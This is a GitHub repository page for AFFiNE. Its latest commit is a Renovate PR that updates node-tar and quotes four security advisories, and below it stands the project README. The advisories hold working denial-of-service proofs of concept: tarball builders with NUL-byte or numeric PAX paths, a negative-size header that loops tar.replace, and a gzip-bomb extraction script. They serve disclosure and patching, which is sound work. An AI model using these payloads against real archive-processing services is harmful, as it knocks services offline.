renovate[bot] cbc63b9f73 chore: bump up tar version to v7.5.19 [SECURITY] (#15297)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.16` →
`7.5.19`](https://renovatebot.com/diffs/npm/tar/7.5.16/7.5.19) |
![age](https://developer.mend.io/api/mc/badges/age/npm/tar/7.5.19?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tar/7.5.16/7.5.19?slim=true)
|

---

### node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath
records
[CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) /
[GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)

<details>
<summary>More information</summary>

#### Details
##### Summary

`node-tar` strips trailing `NUL` bytes from long-name (`L`) and
long-linkpath (`K`) GNU extended headers but does **not** apply the same
sanitization to equivalent fields delivered via PAX (`x` typeflag)
extended headers. A PAX record of the form
`path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path`
and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects
with `ERR_INVALID_ARG_VALUE`. The throw originates inside an
`FSReqCallback` async chain that is **not** wrapped by the consumer's
`await/try-catch` around `tar.x()` — it surfaces as `uncaughtException`
and terminates the process.

This is a remote denial-of-service primitive against any process that
extracts attacker-supplied tarballs through `tar.x` / `tar.extract` /
`tar.t` / `tar.Parser`, even when the consumer follows the documented
`try/catch` error-handling pattern.

A secondary parser-differential (CWE-436) exists because `tar(1)`,
`bsdtar`, and Python `tarfile` truncate the path at the first `NUL`
(yielding `visible.txt`) while node-tar retains the full string. A
validator that pre-scans a tarball with one tool and extracts with the
other is bypassed.

---

##### Root cause

##### Vulnerable sink — `src/pax.ts:157-183`

PAX KV records flow through `parseKVLine`. The value half (`v`) is
assigned directly to the result object with no sanitization for embedded
NUL bytes:

```ts
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}
```

The PAX record body is length-prefixed, so the parser knows the exact
byte boundary — but it never checks whether the value half between `=`
and `\n` contains `NUL`. The result is consumed by `Header` /
`ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded
NUL all the way to `fs.lstat()`.

##### Correctly-patched cousin sink — `src/parse.ts:375-388`

The equivalent code path for GNU L/K long-headers **does** strip NUL
bytes:

```ts
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}
```

The `parse.ts` fix is the maintainer's own acknowledgement that path
strings on this codepath must be NUL-stripped before reaching `fs.*`.
The PAX path produces the identical primitive but bypasses the guard.

##### Downstream blast radius

`entry.path` and `entry.linkpath` are consumed in:
- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`,
`fs.mkdir`
- `src/list.ts` (no crash — listing tolerates NUL in strings)
- Any consumer of the `ReadEntry` event that calls `path.join()` /
`fs.*` on `entry.path`

The crash fires inside the FSReqCallback Node-internal async machinery,
**outside** the user's `await tar.x(...)` Promise rejection boundary.

---

##### Proof of Concept

##### Artifacts
- `poc-null-byte-crash.tar` — 3072 bytes — PAX
`path=visible.txt\x00hidden.txt`
- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX
`linkpath=target\x00garbage` (symlink target sink)
- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)

##### Tarball generator (minimal repro — Python 3)

```python

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)
```

##### Reproduction

```bash

##### 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

##### 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

##### 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'
```

##### Observed output (verified 2026-06-23 against `tar@7.5.16`)

```
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
```

The exception bypasses the user's `try { await tar.x(...) } catch (e) {
... }` block and lands in the global `uncaughtException` handler. In a
typical server without that handler, the process exits.

---

##### Impact

##### Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar
inherits a one-tarball-kills-the-process primitive. Realistic
deployments where this is reachable without user interaction:

- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (`actions/cache`, `actions/setup-*`
extracting toolchains)
- Container image build pipelines that unpack layer tarballs through
node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and
extract dep tarballs
- Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

```js
try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}
```

does not catch this throw. The Node process dies and (depending on the
supervisor) the worker may take time to respawn or never respawn if it
dies during boot.

##### Secondary: parser-differential validator bypass (CWE-436)

| Tool | Result for `path=visible.txt\x00hidden.txt` |

|----------------------------|----------------------------------------------|
| GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) |
| `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) |
| Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) |
| node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) |
| node-tar `tar.x({file})` | **Crashes** (uncaught throw) |

A pre-flight validator using GNU tar or bsdtar will see a benign
filename; the subsequent node-tar extraction blows up. This is
exploitable against any architecture that
lists-and-validates-then-extracts.

---

##### Suggested patch

Match the long-name handler in `parse.ts` — strip everything from the
first NUL onward in `parseKVLine` value parsing:

```diff
--- a/src/pax.ts
+++ b/src/pax.ts
@&#8203;@&#8203; -173,7 +173,7 @&#8203;@&#8203; const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)
```

This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both
`path` and `linkpath` sinks in one change.

A defense-in-depth follow-up: add an explicit
`assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of
`parseKVLine` so malformed PAX records that *aren't* path/linkpath also
can't smuggle NUL into other unanticipated consumers (e.g. third-party
readers of `entry.header.atime` Date objects constructed from
`Number(v)` where `v` had embedded NUL).

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875)
-
[https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3](https://redirect.github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.17](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.17)
-
[https://github.com/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Negative tar entry size causes infinite loop in archive
replace
[CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) /
[GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)

<details>
<summary>More information</summary>

#### Details
##### Summary

A checksum-valid tar archive with a negative base-256 encoded entry size
can make `tar.replace()` loop forever while scanning the existing
archive. Applications that update attacker-controlled tar archives can
have a worker process pinned indefinitely, causing denial of service.

##### Details

The public `tar.replace()` API scans the existing archive before
appending replacement entries. During this scan, it parses each tar
header and advances the archive position by the parsed entry size
rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can
encode the entry size as `-512` while still carrying a valid checksum.
The replace scan accepts that parsed negative size and uses it in the
position-advance calculation.

For a size of `-512`, the computed body skip is `-512`. The scan then
adds the normal 512-byte header step, resulting in no net progress. The
scanner repeatedly parses the same header forever and never reaches the
append step.

This is reachable through the supported package API when the existing
archive file is attacker controlled. It does not rely on extraction,
dependency behavior, or an uncaught exception.

##### PoC

Save as `poc.mjs` in a project with the vulnerable package installed and
run:

```bash
node poc.mjs
```

```js
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true
```

##### Impact

An application that calls `tar.replace()` on an existing archive
supplied or controlled by an attacker can be forced into a
non-terminating archive scan. This can consume a worker process
indefinitely and cause denial of service. Plain extraction-only
workflows are not affected by this finding.

#### Severity
- CVSS Score: 8.7 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874)
-
[https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5](https://redirect.github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18)
-
[https://github.com/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Decompression/parse DoS via unlimited input
[CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) /
[GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)

<details>
<summary>More information</summary>

#### Details
##### Summary
A **Decompression/parse DoS via unlimited input** vulnerability in
`node-tar` allows an attacker to exhaust server resources (disk space
and CPU). Because the library does not enforce hard upper bounds on
total decompressed data or entry counts, a small, maliciously crafted
"Gzip Bomb" can be used to fill a server's storage and crash services.

##### Details
The `node-tar` library does not enforce a hard upper bound on archive
size or the volume of decompressed data processed during extraction.
While the `maxReadSize` option exists, it only controls internal read
chunk sizes (default 16MB) and does not limit the total cumulative bytes
written to disk.

Specifically, in `src/extract.ts`, the `Unpack` stream processes entries
as they arrive. There is no total-bytes limit, entry-count limit, or
decompression ratio guard. An attacker can provide a TAR header claiming
a massive file size (e.g., 10GB) and follow it with highly compressible
data (like zeros). `node-tar` will continue to extract and write this
data until the physical disk is exhausted, as it lacks a mechanism to
abort based on global resource consumption.

##### PoC
The following Proof of Concept demonstrates how a tiny compressed input
can be expanded into gigabytes of data on the host machine almost
instantly.

1. Create the exploit script:
```javascript
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
```

2. Run the PoC:
```bash
node poc.js
```

**Observation:** You will see the extracted size rapidly climb to 5,000
MB+ within seconds, while the actual data being "sent" through the gzip
stream is negligible.

##### Impact
This is a **Denial of Service (DoS)** vulnerability. It impacts any
application or service that uses `node-tar` to extract archives provided
by untrusted users (e.g., npm registries, CI/CD pipelines, or
file-sharing platforms). An unauthenticated attacker can send a small
payload that expands to consume all available disk space, leading to
system-wide failure and service outages.

#### Severity
- CVSS Score: 9.2 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873)
-
[https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3](https://redirect.github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.19](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.19)
-
[https://github.com/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### node-tar: Process crash via PAX numeric path type confusion
[CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) /
[GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)

<details>
<summary>More information</summary>

#### Details
##### Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts
it. The PAX header parser coerces all-digit path values to JavaScript
numbers, which causes an uncaught TypeError when downstream code calls
`.split('/')` on the numeric value. Error handlers and `strict: false`
cannot intercept the crash.

##### Details

In `pax.ts` line 180, `parseKV` converts PAX values matching
`/^[0-9]+$/` to numbers via `+v`. This applies to all fields including
`path` and `linkpath`. When a PAX header sets `path` to an all-digit
string like `"12345"`, the value becomes the number `12345`.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where
`normalizeWindowsPath(entry.path).split('/')` throws a TypeError because
numbers don't have `.split()`.

The throw is synchronous during event emission and bypasses all error
handling:
- `strict: false` does not help
- `'error'` event handlers do not catch it
- `'warn'` handlers do not catch it
- The TypeError propagates through the event emitter stack as an
uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and
crash. File type entries crash earlier in Header constructor at
`this.path.slice(-1)`, but that throw is caught and emitted as a warning
only.

##### PoC

Create a tar archive with a PAX extended header containing an all-digit
path:

```
PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')
```

Extract it:
```js
const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });
```

The archive is ~2.5KB. The crash is deterministic on every attempt.

##### Impact

Denial of service. Any application or tool that extracts untrusted tar
archives crashes from a single small file. This includes npm (which uses
node-tar to extract packages), CI/CD pipelines, file upload processors,
and backup tools. The crash cannot be caught by application-level error
handling.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871)
-
[https://github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b](https://redirect.github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b)
-
[https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18)
-
[https://github.com/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-tar (tar)</summary>

###
[`v7.5.19`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19)

###
[`v7.5.18`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18)

###
[`v7.5.17`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-21 13:26:52 +08:00
2026-04-09 12:41:38 +08:00
2026-06-24 23:55:19 +08:00
2026-07-04 03:41:23 +08:00
2026-07-19 16:49:41 +08:00
2026-02-06 19:49:02 +08:00
2023-07-10 06:19:59 +00:00
2026-06-01 23:54:41 +08:00
2023-04-13 20:30:18 +00:00
2026-03-20 05:23:03 +08:00
2023-05-03 00:47:43 -05:00
2025-12-29 19:08:49 +08:00
2023-09-15 07:50:00 +00:00
2026-06-24 23:55:19 +08:00
2026-02-23 21:03:13 +08:00
2026-06-01 20:13:59 +08:00
2026-07-15 13:25:57 +08:00

AFFiNE.Pro
Write, Draw and Plan All at Once

affine logo

A privacy-focused, local-first, open-source, and ready-to-use alternative for Notion & Miro.
One hyper-fused platform for wildly creative minds.



AFFiNE - One app for all - Where Notion meets Miro | Product Hunt


Releases All Contributors TypeScript-version-icon


Docs, canvas and tables are hyper-merged with AFFiNE - just like the word affine (əˈfʌɪn | a-fine).

Getting started & staying tuned with us.

Star us, and you will receive all release notifications from GitHub without any delay!

What is AFFiNE

AFFiNE is an open-source, all-in-one workspace and an operating system for all the building blocks that assemble your knowledge base and much more -- wiki, knowledge management, presentation and digital assets. It's a better alternative to Notion and Miro.

Features

A true canvas for blocks in any form. Docs and whiteboard are now fully merged.

  • Many editor apps claim to be a canvas for productivity, but AFFiNE is one of the very few which allows you to put any building block on an edgeless canvas -- rich text, sticky notes, any embedded web pages, multi-view databases, linked pages, shapes and even slides. We have it all.

Multimodal AI partner ready to kick in any work

  • Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, AFFiNE AI pushes your creativity to the edge of your imagination, just like Canvas AI to generate mind map for brainstorming.

Local-first & Real-time collaborative

  • We love the idea of local-first that you always own your data on your disk, in spite of the cloud. Furthermore, AFFiNE supports real-time sync and collaborations on web and cross-platform clients.

Self-host & Shape your own AFFiNE

  • You have the freedom to manage, self-host, fork and build your own AFFiNE. Plugin community and third-party blocks are coming soon. More tractions on Blocksuite. Check there to learn how to self-host AFFiNE.

Acknowledgement

“We shape our tools and thereafter our tools shape us”. A lot of pioneers have inspired us along the way, e.g.:

  • Quip & Notion with their great concept of “everything is a block”
  • Trello with their Kanban
  • Airtable & Miro with their no-code programmable datasheets
  • Miro & Whimiscal with their edgeless visual whiteboard
  • Remote & Capacities with their object-based tag system

There is a large overlap of their atomic “building blocks” between these apps. They are not open source, nor do they have a plugin system like Vscode for contributors to customize. We want to have something that contains all the features we love and also goes one step even further.

Thanks for checking us out, we appreciate your interest and sincerely hope that AFFiNE resonates with you! 🎵 Checking https://affine.pro/ for more details ions.

Contributing

Bug Reports Feature Requests Questions/Discussions AFFiNE Community
Create a bug report Submit a feature request Check GitHub Discussion Visit the AFFiNE's Discord
Something isn't working as expected An idea for a new feature, or improvements Discuss and ask questions A place to ask, learn and engage with others

Calling all developers, testers, tech writers and more! Contributions of all types are more than welcome, you can read more in docs/types-of-contributions.md. If you are interested in contributing code, read our docs/CONTRIBUTING.md and feel free to check out our GitHub issues to get stuck in to show us what youre made of.

Before you start contributing, please make sure you have read and accepted our Contributor License Agreement. To indicate your agreement, simply edit this file and submit a pull request.

For bug reports, feature requests and other suggestions you can also create a new issue and choose the most appropriate template for your feedback.

For translation and language support you can visit our Discord.

If you have questions, you are welcome to contact us. One of the best places to get more info and learn more is in the Discord where you can engage with other like-minded individuals.

Templates

AFFiNE now provides pre-built templates from our team. Following are the Top 10 most popular templates among AFFiNE users,if you want to contribute, you can contribute your own template so other people can use it too.

Blog

Welcome to the AFFiNE blog section! Here, youll find the latest insights, tips, and guides on how to maximize your experience with AFFiNE and AFFiNE AI, the leading Canvas AI tool for flexible note-taking and creative organization.

Ecosystem

Name
@affine/component AFFiNE Component Resources
@toeverything/theme AFFiNE theme

Upstreams

We would also like to give thanks to open-source projects that make AFFiNE possible:

  • Blocksuite - 💠 BlockSuite is the open-source collaborative editor project behind AFFiNE.

  • y-octo - 🐙 y-octo is a native, high-performance, thread-safe YJS CRDT implementation, serving as the core engine enabling the AFFiNE Client/Server to achieve "local-first" functionality.

  • OctoBase - 🐙 OctoBase is the open-source database behind AFFiNE, local-first, yet collaborative. A light-weight, scalable, data engine written in Rust.

  • yjs - Fundamental support of CRDTs for our implementation on state management and data sync on web.

  • electron - Build cross-platform desktop apps with JavaScript, HTML, and CSS.

  • React - The library for web and native user interfaces.

  • napi-rs - A framework for building compiled Node.js add-ons in Rust via Node-API.

  • Jotai - Primitive and flexible state management for React.

  • async-call-rpc - A lightweight JSON RPC client & server.

  • Vite - Next generation frontend tooling.

  • Other upstream dependencies.

Thanks a lot to the community for providing such powerful and simple libraries, so that we can focus more on the implementation of the product logic, and we hope that in the future our projects will also provide a more easy-to-use knowledge base for everyone.

Contributors

We would like to express our gratitude to all the individuals who have already contributed to AFFiNE! If you have any AFFiNE-related project, documentation, tool or template, please feel free to contribute it by submitting a pull request to our curated list on GitHub: awesome-affine.

contributors

Self-Host

Begin with Docker to deploy your own feature-rich, unrestricted version of AFFiNE. Our team is diligently updating to the latest version. For more information on how to self-host AFFiNE, please refer to our documentation.

Run on Sealos

Run on ClawCloud

Feature Request

For feature requests, please see discussions.

Building

Codespaces

From the GitHub repo main page, click the green "Code" button and select "Create codespace on master". This will open a new Codespace with the (supposedly auto-forked AFFiNE repo cloned, built, and ready to go).

Local

See BUILDING.md for instructions on how to build AFFiNE from source code.

Contributing

We welcome contributions from everyone. See docs/contributing/tutorial.md for details.

License

Editions

  • AFFiNE Community Edition (CE) is the current available version, it's free for self-host under the MIT license.

  • AFFiNE Enterprise Edition (EE) is yet to be published, it will have more advanced features and enterprise-oriented offerings, including but not exclusive to rebranding and SSO, advanced admin and audit, etc., you may refer to https://affine.pro/pricing for more information

See LICENSE for details.

Languages
TypeScript 89.5%
Swift 4.2%
Rust 4.2%
Kotlin 1%
JavaScript 0.4%
Other 0.5%